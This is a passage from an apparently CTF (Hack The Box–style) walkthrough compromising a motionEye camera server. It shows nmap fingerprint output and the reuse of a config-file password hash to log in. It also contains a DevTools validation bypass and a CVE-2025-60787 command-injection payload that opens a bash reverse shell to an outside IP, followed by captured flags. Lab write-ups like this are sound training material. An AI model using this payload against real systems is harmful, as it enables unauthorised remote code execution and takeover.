SF:lain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Req
SF:uest")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent
SF:-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n4
SF:00\x20Bad\x20Request")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x2
SF:0close\r\n\r\n400\x20Bad\x20Request")%r(Help,67,"HTTP/1\.1\x20400\x20Ba
SF:d\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnec
SF:tion:\x20close\r\n\r\n400\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/
SF:1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charse
SF:t=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(LPDStr
SF:ing,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/pla
SF:in;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Reque
SF:st")%r(SIPOptions,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Typ
SF:e:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x
SF:20Bad\x20Request")%r(Socks5,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nC
SF:ontent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\
SF:n\r\n400\x20Bad\x20Request");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port9081-TCP:V=7.98%I=7%D=3/24%Time=69C2428F%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,2CD5,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Tue,\x2024\x20Mar\x20
SF:2026\x2007:51:42\x20GMT\r\nConnection:\x20close\r\nContent-Type:\x20mul
SF:tipart/x-mixed-replace;\x20boundary=BoundaryString\r\n\r\n--BoundaryStr
SF:ing\r\nContent-type:\x20image/jpeg\r\nContent-Length:\x20\x20\x20\x20\x
SF:2011261\r\n\r\n\xff\xd8\xff\xe0\0\x10JFIF\0\x01\x01\0\0\x01\0\x01\0\0\x
SF:ff\xe1\0\x80Exif\0\0MM\0\*\0\0\0\x08\0\x03\x012\0\x02\0\0\0\x14\0\0\0P\
SF:x87i\0\x04\0\0\0\x01\0\0\x002\x88\*\0\x08\0\0\0\x01\0\0\0\0\0\0\0\0\0\x
SF:02\x90\0\0\x07\0\0\0\x040220\x90\x03\0\x02\0\0\0\x14\0\0\0d\0\0\0\x0020
SF:26:03:24\x2007:51:43\x002026:03:24\x2007:51:43\0\xff\xdb\0C\0\x05\x03\x
SF:04\x04\x04\x03\x05\x04\x04\x04\x05\x05\x05\x06\x07\x0c\x08\x07\x07\x07\
SF:x07\x0f\x0b\x0b\t\x0c\x11\x0f\x12\x12\x11\x0f\x11\x11\x13\x16\x1c\x17\x
SF:13\x14\x1a\x15\x11\x11\x18!\x18\x1a\x1d\x1d\x1f\x1f\x1f\x13\x17\"\$\"\x
SF:1e\$\x1c\x1e\x1f\x1e\xff\xdb\0C\x01\x05\x05\x05\x07\x06\x07\x0e\x08\x08
SF:\x0e\x1e\x14\x11\x14\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1
SF:e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x
SF:1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\
SF:x1e\x1e\xff\xc0\0\x11\x08\x01\xe0\x02\x80\x03\x01\"\0\x02\x11\x01\x03\x
SF:11\x01\xff\xc4\0\x1f\0\0\x01\x05\x01\x01\x01\x01\x01\x01\0\0\0\0\0\0\0\
SF:0\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\xff\xc4\0\xb5\x10\0\x02\x01\x
SF:03\x03\x02\x04\x03\x05\x05\x04\x04\0\0\x01}\x01\x02\x03\0\x04\x11\x05\x
SF:12!1A\x06\x13Qa\x07\"q\x142\x81\x91\xa1\x08#B\xb1\xc1\x15R\xd1\xf0\$3br
SF:\x82\t\n\x16\x17\x18\x19\x1a%&'\(\)\*456789:CDEFGHIJSTUVWXYZcdefghijstu
SF:vwxyz\x83\x84\x85\x86\x87\x88\x89\x8a\x92\x93\x94\x95\x96\x97\x98\x99\x
SF:9a\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\
SF:xba\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9
SF:\xda\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xf1\xf2\xf3\xf4\xf5\xf6\xf
SF:7\xf8\xf9\xfa\xff\xc4\0\x1f\x01\0\x03\x01\x01\x01\x01\x01\x01\x01\x01\x
SF:01\0\0\0\0\0\0\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\xff\xc4\0\xb5\x1
SF:1\0\x02\x01\x02\x04\x04\x03\x04\x07\x05\x04\x04\0\x01\x02w\0\x01\x02\x0
SF:3\x11\x04\x05!1\x06\x12AQ\x07aq\x13\"2\x81\x08\x14B\x91\xa1\xb1\xc1\t#3
SF:R\xf0\x15br\xd1\n\x16\$4\xe1%\xf1\x17\x18\x19\x1a&'\(\)\*56789:CDEFGHIJ
SF:STUVWXYZcdefghijstuvwxyz\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x92\x93\x9
SF:4\x95\x96\x97\x98\x99\x9a\xa2");
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 08:53
Completed NSE at 08:53, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 08:53
Completed NSE at 08:53, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 08:53
Completed NSE at 08:53, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 145.30 seconds
We can find a new plaintext passwd in /etc/motioneye/motion.conf:
mark@cctv:~$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password
setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2
camera camera-1.conf
Looks like SHA1, but I did not manage to crack this.
This did however work as-is (admin:989c5a8ee87a0e9521ec81a79187d162109282f0) on http://127.0.0.1:8765 (port forwarded).
Weāre now logged into MotionEye:
This version seems to be vulnerable to CVE-2025-60787, which also has a public exploit (RCE).
To bypass the client-side validation (which is trying to prevent saving our payload), run the following in the DevTools console:
configUiValid = function() {
return true;
};The above is explained in more detail on the public exploit repo above, but in short this overrides the validation function to simply return true when saving our payload.
We then inject $(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/10.10.15.205/1337 0>&1\"')").%Y-%m-%d-%H-%M-%S into Still Images (fold open) ā Image File Name (field), and press the orange Apply button on top.
And we can now see the shell being returned to us:
mairon $ rlwrap ncat -lnvp 1337
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.129.12.139:42634.
bash: cannot set terminal process group (4246): Inappropriate ioctl for device
bash: no job control in this shell
root@cctv:/etc/motioneye#
We can now finally get the user.txt from sa_mark, along with the root.txt:
root@cctv:/etc/motioneye# cat /home/sa_mark/user.txt
cat /home/sa_mark/user.txt
48b3cd700c6de9782e041e67e57c3d83
root@cctv:/etc/motioneye# cat /root/root.txt
cat /root/root.txt
dbda0515c5ae1f60405058cf6dd6dbfd
Sadly I wasnāt in time to pwn this box when it was still rewarding seasonal points.